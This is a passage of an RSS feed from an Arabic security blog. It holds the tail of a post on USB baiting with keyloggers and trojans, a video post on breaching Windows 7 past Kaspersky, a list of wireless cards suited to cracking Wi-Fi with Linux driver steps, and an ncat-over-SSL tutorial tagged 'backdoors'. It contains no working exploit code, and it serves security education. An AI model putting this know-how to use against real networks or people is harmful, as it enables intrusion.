<p>هذا النّوع يستفيد من حبّ الاستطلاع والفضول لدى البشر. يقوم المهاجم بترك قرص مضغوط (CD,DVD)، أو ذاكرة متنقّلة (USB) في مكان بارز (قريب من شركة أو مؤسّسة ما يستهدفها المهاجم). محتوى القرص أو الذاكرة يحتوي على برنامج ضار كمسجّل المفاتيح (الذي يقوم بتسجيل كل ضغطة مفتاح على لوحة المفاتيح يقوم الضحيّة بها) أو حصان طروادة أو فيروس&#8230;إلخ.</p>
<p>في الحلقة القادمة إن شاء الله سنتناول نماذج من الهندسة الإجتماعيّة.</p>
<hr />
<p><small>&copy; sec for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2010. |
<a href="http://www.security4arabs.com/2010/12/27/social-engineering-ep-1/">Permalink</a> |
<a href="http://www.security4arabs.com/2010/12/27/social-engineering-ep-1/#comments">6 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2010/12/27/social-engineering-ep-1/&amp;title=الهندسة الإجتماعيّة: الحلقة الأولى">del.icio.us</a>
<br/>
Post tags: <a href="http://www.security4arabs.com/tag/%d9%87%d9%86%d8%af%d8%b3%d8%a9-%d8%a5%d8%ac%d8%aa%d9%85%d8%a7%d8%b9%d9%8a%d9%91%d8%a9/" rel="tag">هندسة إجتماعيّة</a><br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2010/12/27/social-engineering-ep-1/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>اختبار اختراق نظام ويندوز 7 و تخطى حماية الكاسبر سكاى</title>
		<link>http://www.security4arabs.com/2010/11/27/hacking-into-windows7-bypassing-kaspersky-av/</link>
		<comments>http://www.security4arabs.com/2010/11/27/hacking-into-windows7-bypassing-kaspersky-av/#comments</comments>
		<pubDate>Sat, 27 Nov 2010 01:42:53 +0000</pubDate>
		<dc:creator>مجتمع الحماية</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[مساهمات الأعضاء]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=1628</guid>
		<description><![CDATA[هذه مساهمة مفيدة من الأخ محمد رمضان تشرح اختراق نظام ويندوز 7 وتخطي حماية برنامج مكافحة الفيروسات كاسبرسكي 2011. الأخ محمد تطرق لبعض النقاط الهامة والتي ينصح بها عند القيام باختبارات الأختراق. الشرح يأتي في ثلاثة اجزاء الجزء الأول الجزء الثاني الجزء الثالث ويمكن مشاهدة الفيديو كاملاً من خلال الرابط التالي: http://blip.tv/file/4426743 نشكر الأخ محمد [...]]]></description>
			<content:encoded><![CDATA[<p>هذه مساهمة مفيدة من الأخ محمد رمضان تشرح اختراق نظام ويندوز 7 وتخطي حماية برنامج مكافحة الفيروسات كاسبرسكي 2011. الأخ محمد تطرق لبعض النقاط الهامة والتي ينصح بها عند القيام باختبارات الأختراق.</p>
<p>الشرح يأتي في ثلاثة اجزاء</p>
<h4>الجزء الأول</h4>
<p><object width="500" height="281"><param name="movie" value="http://www.youtube.com/v/L2su_Qzho9w?version=3&#038;feature=oembed"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/L2su_Qzho9w?version=3&#038;feature=oembed" type="application/x-shockwave-flash" width="500" height="281" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<h4>الجزء الثاني</h4>
<p><object width="500" height="281"><param name="movie" value="http://www.youtube.com/v/HO0FCxuGYpY?version=3&#038;feature=oembed"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/HO0FCxuGYpY?version=3&#038;feature=oembed" type="application/x-shockwave-flash" width="500" height="281" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<h4>الجزء الثالث</h4>
<p><object width="500" height="281"><param name="movie" value="http://www.youtube.com/v/Wg86Wx8A_Hc?version=3&#038;feature=oembed"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Wg86Wx8A_Hc?version=3&#038;feature=oembed" type="application/x-shockwave-flash" width="500" height="281" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>ويمكن مشاهدة الفيديو كاملاً من خلال الرابط التالي:</p>
<p><a href="http://blip.tv/file/4426743" target="_blank">http://blip.tv/file/4426743</a></p>
<p>نشكر الأخ محمد على مساهمته القيّمة ونتمّنى أن يستفيد منها الجميع</p>
<hr />
<p><small>&copy; sec for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2010. |
<a href="http://www.security4arabs.com/2010/11/27/hacking-into-windows7-bypassing-kaspersky-av/">Permalink</a> |
<a href="http://www.security4arabs.com/2010/11/27/hacking-into-windows7-bypassing-kaspersky-av/#comments">17 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2010/11/27/hacking-into-windows7-bypassing-kaspersky-av/&amp;title=اختبار اختراق نظام ويندوز 7 و تخطى حماية الكاسبر سكاى">del.icio.us</a>
<br/>
Post tags: <br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2010/11/27/hacking-into-windows7-bypassing-kaspersky-av/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>قائمة بكروت الوايرليس لاختراق شبكات الوايرليس</title>
		<link>http://www.security4arabs.com/2010/10/12/wireless-cards-for-wireless-cracking-wireless-cards-with-good-linux-support/</link>
		<comments>http://www.security4arabs.com/2010/10/12/wireless-cards-for-wireless-cracking-wireless-cards-with-good-linux-support/#comments</comments>
		<pubDate>Tue, 12 Oct 2010 18:01:07 +0000</pubDate>
		<dc:creator>صبري صالح</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[atheros]]></category>
		<category><![CDATA[warcraft]]></category>
		<category><![CDATA[Wireless]]></category>
		<category><![CDATA[WPA]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=1567</guid>
		<description><![CDATA[أثناء تصفحي كنت أبحث عن كروت الوايرليس التي تصلح لاختراق الشبكات و في نفس الوقت تكون مدعومة جيدا في اللينوكس. ما يميز هذه الكروت عن غيرها هو احتوائها على شريحة Atheros الداعمة لوضع &#8220;Monitoring Mode&#8220; أو الـ &#8220;Infrastructure Mode&#8220; و هي الأشهر. إليكم القائمة o 3Com + OfficeConnect Wireless 11a/b/g PC Card 3CRWE154A72 + 11a/b/g [...]]]></description>
			<content:encoded><![CDATA[<p>أثناء تصفحي كنت أبحث عن كروت الوايرليس التي تصلح لاختراق الشبكات و في نفس الوقت تكون مدعومة جيدا في اللينوكس. ما يميز هذه الكروت عن غيرها هو احتوائها على شريحة <a title="الموقع الرسمي" href="http://www.atheros.com/" target="_blank">Atheros</a> الداعمة لوضع <span style="color: #ff0000;"><strong>&#8220;</strong></span>Monitoring Mode<span style="color: #ff0000;"><strong>&#8220;</strong></span> أو الـ <span style="color: #ff0000;"><strong>&#8220;</strong></span>Infrastructure Mode<span style="color: #ff0000;"><strong>&#8220;</strong></span> و هي الأشهر.</p>
<p>إليكم القائمة</p>
<pre style="text-align: left;">          o 3Com
                + OfficeConnect Wireless 11a/b/g PC Card 3CRWE154A72
                + 11a/b/g Wireless PC Card w/ XJACK Antenna 3CRPAG175
                + Wireless 11a/b/g PC Card with XJACK Antenna (3CRPAG175B)
                + 11a/b/g Wireless PCI Adapter 3CRDAG675
                + Wireless 11a/b/g PCI Adapter (3CRDAG675B)
                + OfficeConnect Wireless 108Mbps 11g XJACK PC Card (3CRXJK10075)
          o Acer
                + Nplify 802.11 b/g/n
          o AirLink
                + AWLH-4030
          o AOpen
                + AOI-811
          o Atheros
                + Atheros reference design
                + Atheros AR5001X+
                + Atheros AR5002X
                + Atheros AR5002G
                + Atheros AR5004X
                + Atheros AR5004G
          o AT&amp;T
                + Plug and Share 6500G
                + Plug and Share 6550G
                + Plug and Share 6700G
          o Alfa
                + AWUS036NH
                + AWUS036NEH
                + AWUS051NH
          o Blitzz
                + BWI715
                + NetWave Point PC
          o Cisco
                + Aironet CB21AG
          o Conceptronic
                + C54i
          o D-Link
                + AirPro DWL-AB650
                + AirPlus DWL-650+
                + DWL-G650
                + DWL-AG650
                + DWL-AG520
                + DWL-G520
                + DWL-AG530
                + DWL-G630
                + DWL-G510
          o IBM
                + T40p/IBM ab miniPCI
                + T42/IBM abg miniPCI
          o HP
                + WLAN W500 (a/b/g)
                + WLAN W400 (b/g)
          o Gigabyte
                + GN-WMAG01
                + GN-WLMA102
                + GN-WIAG01
                + GN-WIAG02
          o LANCOM Systems
                + AirLancer MC-54ab
                + AirLancer MC-54ag
          o Level One
                + WNC-0300
                + WPC-0300 v3
          o Linksys
                + WMP55AG
                + WPC55AG (chipset AR5006X or AR5212
                + WPC54G V7
                + WRT54G v. 7  (older WRT54G's use a Proxim chipset and are well supported too)
                + WPC300N V2
                + WRT350N V2
          o NEC
                + Aterm WL54AG and PA-WL/54AG
          o Netgear
                + WAG11
                + WG311
                + WG311T
                + WG511T
                + WPN511
          o Netgate/Senao/EnGenius
                + 5034CB Aries
                + 5354 Aries 2 4G
          o Nortel
                + 2201 PCMCIA
          o Peabird
                + WLG-PCMCIA-TURBO
          o Planet
                + WL-3560
          o Procomp Informatics
                + PW-8860AS
          o Proxim
                + Orinoco 11b/g PC Card Silver (8471-WD)
                + Orinoco Gold 8470
                + Orinoco Gold 8470-FC
                + Orinoco Gold 8470-WD
                + Orinoco Gold 8480-WD
                + Orinoco Silver 8481-WD
                + Orinoco Silver 6460  (uncertain)
          o SMC
                + 2335W
          o Sony
                + PCWA-C300S
          o SPARKLAN
                + WMIA-105AG
                + WMIA-112AG
                + WMIA-123AG
          o TOPCOM
                + SKYR@CER PRO PCI 154
                + SKYR@CER PRO PC CARD 3054
          o TP-LINK
                + TL-WN510G
                + TL-WN322G
          o Wistron
                + AWLH-4030
                + CM9</pre>
<p>قد يشتكي البعض من التعريفات , سأضع طريقة نجحت معي</p>
<ol>
<li>تأكد من أن برنامج <strong>&#8220;</strong> ndiswrapper <strong>&#8220;</strong> موجود. <strong>(</strong> استخدم yum  أو apt-get <strong>)</strong></li>
<li>ضع CD  التعريف الذي يحوي تعرف الويندوز ثم <strong>( </strong>cd to /media/cdrom0/ndis5 <strong>)</strong></li>
<li>بصلاحيات الجذر, نفذ <strong>(</strong> ndiswrapper -i netwpn11.inf <strong>)</strong></li>
<li>بصلاحيات الجذر, نفذ <strong>(</strong> ndiswrapper -m <strong>)</strong></li>
<li>بصلاحيات الجذر, نفذ <strong>(</strong> modprobe ndiswrapper <strong>)</strong> <strong>-</strong> لن تحتاج لهذه الخطوة لو أعدت التشغيل</li>
<li>الأن وصل كرت الوايرليس في الجهاز و ابحث عن الشبكة</li>
</ol>
<p>ملاحظة: برنامج ndiswrapper لا يدعم كل التعريفات فبعض التعريفات يدعمها برنامج Madwifi. بشكل عام تستطيع أن تزور هذه <a title="تعريفات" href="http://www.dudek.org/wireless" target="_blank"><strong>الصفحة</strong></a> و أيضا هذه <a title="تعريفات" href="http://www.atheros.cz/" target="_blank"><strong>الصفحة</strong></a>.</p>
<p>الرجاء لمن يعرف المزيد أن يزيدنا لنضعه في هذا الموضوع مع حفظ حقوقه.<br />
<strong>أخر تحديث للموضوع:</strong> <span style="color: #ff0000;">21/10/2010</span></p>
<p><strong>تحياتي واحترامي</strong></p>
<hr />
<p><small>&copy; Eng. Sabri Saleh for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2010. |
<a href="http://www.security4arabs.com/2010/10/12/wireless-cards-for-wireless-cracking-wireless-cards-with-good-linux-support/">Permalink</a> |
<a href="http://www.security4arabs.com/2010/10/12/wireless-cards-for-wireless-cracking-wireless-cards-with-good-linux-support/#comments">16 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2010/10/12/wireless-cards-for-wireless-cracking-wireless-cards-with-good-linux-support/&amp;title=قائمة بكروت الوايرليس لاختراق شبكات الوايرليس">del.icio.us</a>
<br/>
Post tags: <a href="http://www.security4arabs.com/tag/atheros/" rel="tag">atheros</a>, <a href="http://www.security4arabs.com/tag/warcraft/" rel="tag">warcraft</a>, <a href="http://www.security4arabs.com/tag/wireless/" rel="tag">Wireless</a>, <a href="http://www.security4arabs.com/tag/wpa/" rel="tag">WPA</a><br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2010/10/12/wireless-cards-for-wireless-cracking-wireless-cards-with-good-linux-support/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>الاتصال الآمن في الأداة NetCat</title>
		<link>http://www.security4arabs.com/2010/09/17/how-to-netcat-with-ssl/</link>
		<comments>http://www.security4arabs.com/2010/09/17/how-to-netcat-with-ssl/#comments</comments>
		<pubDate>Fri, 17 Sep 2010 20:22:51 +0000</pubDate>
		<dc:creator>صبري صالح</dc:creator>
				<category><![CDATA[أدوات]]></category>
		<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[backdoors]]></category>
		<category><![CDATA[net cat]]></category>
		<category><![CDATA[netcat SSL]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=994</guid>
		<description><![CDATA[لا يخفى على أحد مهتم بالحماية أهمية هذه الأداة و ما تقدمة من مميزات. في هذا الموضوع لن أشرح الاستخدامات العادية و المشهورة فلكنا يعرف ما تقدمه الأداة من اتصال و إنصات و نقل ملفات و محادثة كتابية , إلخ. هل فكرت أن تشفر الاتصال عندما تستخدم هذه الأداة الرائعة؟ إليك الطريقة بشكل افتراضي فإن [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.security4arabs.com/wp-content/uploads/2010/08/netcat-logo.png"><img class="alignleft size-full wp-image-1126" title="netcat-logo" src="http://www.security4arabs.com/wp-content/uploads/2010/08/netcat-logo.png" alt="" width="190" height="232" /></a></p>
<p>لا يخفى على أحد مهتم بالحماية أهمية هذه الأداة و ما تقدمة من مميزات. في هذا الموضوع لن أشرح الاستخدامات العادية و المشهورة فلكنا يعرف ما تقدمه الأداة من اتصال و إنصات و نقل ملفات و محادثة كتابية , إلخ.</p>
<p><span style="color: #ff0000;"><strong>هل فكرت أن تشفر الاتصال عندما تستخدم هذه الأداة الرائعة؟</strong></span></p>
<p><strong><span style="color: #008000;">إليك الطريقة</span></strong></p>
<p>بشكل افتراضي فإن الأدة netcat لا تدعم الاتصال المشفر , ستجد في اللينوكس أن الأداة تأتي بإسمين هما <strong>nc</strong> و  <span style="color: #800080;"><strong>ncat</strong></span> والأخير هي النسخة المطورة من الـ nc  و التي تدعم الاتصال المشفر بـSSL</p>
<p>سنقوم الأن بعمل محادثة صغيرة بين جهازين</p>
<p><em><strong>الجهاز الأول</strong></em></p>
<pre style="text-align: left;">ncat -l --ssl 9911</pre>
<p><em><strong>الجهاز الثاني</strong></em></p>
<pre style="text-align: left;">ncat -vn 10.0.0.99 9911 --ssl</pre>
<p><span style="text-decoration: underline;">قبل استخدام الـ SSL</span></p>
<p><a href="http://www.security4arabs.com/wp-content/uploads/2010/08/Netcat_NonSec.png"><img class="size-medium wp-image-1269 alignnone" title="Netcat_NonSec" src="http://www.security4arabs.com/wp-content/uploads/2010/08/Netcat_NonSec-300x169.png" alt="" width="300" height="169" /></a></p>
<p><span style="text-decoration: underline;">بعد استخدام الـ SSL</span></p>
<p><a href="http://www.security4arabs.com/wp-content/uploads/2010/08/Netcat_Sec.png"><img class="size-medium wp-image-1270 alignnone" title="Netcat_Sec" src="http://www.security4arabs.com/wp-content/uploads/2010/08/Netcat_Sec-300x175.png" alt="" width="300" height="175" /></a></p>
<h4><strong>ماهي الأغراض الأخرى التي قد تحتاج فيها دعم الـ SSL  ؟</strong></h4>
<p><span style="color: #008000;"><strong>الجواب:</strong></span></p>
<p>عندما تحاول الاتصال بأحد الخدمات التي تستخدم الـ SSL  لعمل port scanning  مثلا فإنك لو استخدم الطريقة التقليدية فلن تحصل على النتائج المطلوبه</p>
<p>مثال<strong>,,</strong></p>
<p>سنحاول أن نتصل بخادم البريد لـجووجل و الذي يدعم الـ SSL  بشكل افتراضي</p>
<p><strong>الطريقة التقليدية</strong></p>
<pre style="text-align: left;">nc gmail.google.com 443</pre>
<blockquote>
<p style="text-align: left;">GET / HTTP/1.1<br />
[root@KING-SABRI KING]#</p>
</blockquote>
<p style="text-align: right;">
<p style="text-align: right;"><strong>بطريقة  دعم الـ SSL</strong></p>
<pre style="text-align: left;">ncat gmail.google.com 443 --ssl</pre>
<blockquote>
<p style="text-align: left;">GET / HTTP/1.1</p>
<p style="text-align: left;">HTTP/1.1 200 OK<br />
Date: Fri, 27 Aug 2010 18:21:46 GMT<br />
Expires: -1<br />
Cache-Control: private, max-age=0<br />
Content-Type: text/html; charset=ISO-8859-1<br />
Set-Cookie: PREF=ID=c1d3dce8feaa44d1:TM=1282933306:LM=1282933306:S=U-GMKA7wWIYvzZOo; expires=Sun, 26-Aug-2012 18:21:46 GMT; path=/; domain=.google.com<br />
Set-Cookie: NID=38=RPCPCmxT9uXfVa5qX6OMLvE1TdbWg9a45Y9sNVu5s1gcHZKbBMvlFpGVKUTRZMwdRw_81tOc4I8x1E7wuAYe86CkXTq6aEW80rDetrx7xZEyXva1j1hGW_RX_U6unOBe; expires=Sat, 26-Feb-2011 18:21:46 GMT; path=/; domain=.google.com; HttpOnly<br />
Server: gws<br />
X-XSS-Protection: 1; mode=block<br />
Transfer-Encoding: chunked<br />
&#8230;&#8230;.</p>
</blockquote>
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><strong><a href="http://nmap.org/download.html" target="_blank">لتحميل الأداة</a></strong></p>
<p><strong>تحياتي و احترامي</strong></p>
<p style="text-align: left;">
<hr />
<p><small>&copy; Eng. Sabri Saleh for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2010. |
<a href="http://www.security4arabs.com/2010/09/17/how-to-netcat-with-ssl/">Permalink</a> |
<a href="http://www.security4arabs.com/2010/09/17/how-to-netcat-with-ssl/#comments">8 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2010/09/17/how-to-netcat-with-ssl/&amp;title=الاتصال الآمن في الأداة NetCat">del.icio.us</a>
<br/>
Post tags: <a href="http://www.security4arabs.com/tag/backdoors/" rel="tag">backdoors</a>, <a href="http://www.security4arabs.com/tag/net-cat/" rel="tag">net cat</a>, <a href="http://www.security4arabs.com/tag/netcat-ssl/" rel="tag">netcat SSL</a><br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2010/09/17/how-to-netcat-with-ssl/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

